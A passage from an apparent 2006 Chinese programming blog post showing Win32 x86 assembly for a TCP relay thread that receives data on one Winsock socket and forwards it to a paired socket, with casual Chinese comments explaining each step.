 call @EventSelect;继续使用EventSelect筛选事件
 mov [esi+02Ch],eax
 test eax,eax
 jz @ThreadProc_error
 jmp @ThreadProc_client_connected;找到事件,跳
 @ThreadProc_redir:
 mov edi,[esi+004h]
 @ThreadProc_redir_waitforcon:
 push 019h
 call Sleep
 mov eax,[edi+02Ch]
 test eax,eax
 jz @ThreadProc_redir_waitforcon
 @ThreadProc_client_connected:
 mov eax,[esi+014h];测试下是否处于活跃状态
 test eax,eax
 jz @ThreadProc_closesock;程序已经关闭,清理套接字
 mov eax,[esi+004h];
 mov eax,[eax+014h]
 test eax,eax
 jz @ThreadProc_closesock

 push dword ptr [esi+010h]
 push dword ptr [esi+028h]
 call @WaitForEvents;已经连接,等待事件发生

 test eax,eax      ;测试是否有被筛选事件发生
 jz @ThreadProc_client_connected;没有,跳,继续等待连接
 mov [esi+00Ch],eax  ;将WSANETWORKEVENTS的指针存入参数AArgs.ThreadArgs.Events:Longint
 and eax,FD_READ     ;测试是否含有FD_READ
 jnz @ThreadProc_read ;含有,跳到该事件的例程中
 @ThreadProc_af_read:
 mov eax,[esi+00Ch] 
 and eax,FD_CLOSE     ;是否已经关闭了?是,跳,继续等待(汗,变的不会这么块把)
 jnz @ThreadProc_closesock
 jmp @ThreadProc_client_connected
 @ThreadProc_read:
 push dword ptr [esi+028h]   ;压入socket
 call @BytesToRecv           ;接收数据,得到接收的数据size
 test eax,eax                ;什么都没收到?
 jz @ThreadProc_af_read       ;跳,继续读
 mov edi,eax                ;接收的数据size保存到edi
 push eax                    ;压入
 push LMEM_FIXED             ;为数据分配内存
 call LocalAlloc
 test eax,eax                ;失败?
 jz @ThreadProc_closesock     ;清理套接字,跑路~
 mov [ebp-00Ch],eax         ;保存指针  
 push 000h                  
 push edi
 push eax
 push dword ptr [esi+028h]
 call recv;                  用继续recv()接收剩下的
 mov [ebp-008h],eax        ;保存字节数
 inc eax                   ;接收失败?跳
 jz @ThreadProc_read_free
 @ThreadProc_read_loop:
 push 000h               
 push dword ptr [ebp-008h] ;压入接收的字节数
 push dword ptr [ebp-00Ch] ;缓冲区地址,由LocalAlloc分配
 mov eax,[esi+004h]       ;OtherItem:PTcpItem保存到eax
 mov eax,[eax+028h]       ;压入套接字,其实偶也不知道如何得到的套接字 :(
 push eax
 call send;                 发送数据
 inc eax               
 jz @ThreadProc_read_free   ;发送失败?跳
 dec eax                  ;恢复返回值
 sub [ebp-008h],eax       ;得到没有被发送的字节数
 jnz @ThreadProc_read_loop ;是否该值为0,即是否全部发送,否?跳
 @ThreadProc_read_free:
 push dword ptr [ebp-00Ch]  ;处理读数据失败的代码
 call LocalFree;             清理下内存,然后继续跳
 jmp @ThreadProc_read
 @ThreadProc_closesock:       
 push dword ptr [esi+028h]  ;压入套接字,关闭套接字,清理内存
 call CloseSocket
 @ThreadProc_error:            ;退出线程
 push 000h
 call ExitThread

 @BytesToRecv:;             这部分 没什么难度。自己看把
 xor eax,eax          
 push eax
 push eax
 push eax
 push eax
 lea ecx,[esp+00Ch]
 push ecx
 push 004h
 sub ecx,004h
 push ecx
 push eax
 push eax
 push FIONREAD
 push [esp+02Ch]
 call WSAIoctl
 inc eax
 jz @BytesToRecv_end
 mov eax,[esp]
 @BytesToRecv_end:
 pop ecx
 pop ecx
 ret 004h

end start

浏览数(422) | 评论数(0) | 2006-11-20

Powered by Haiwit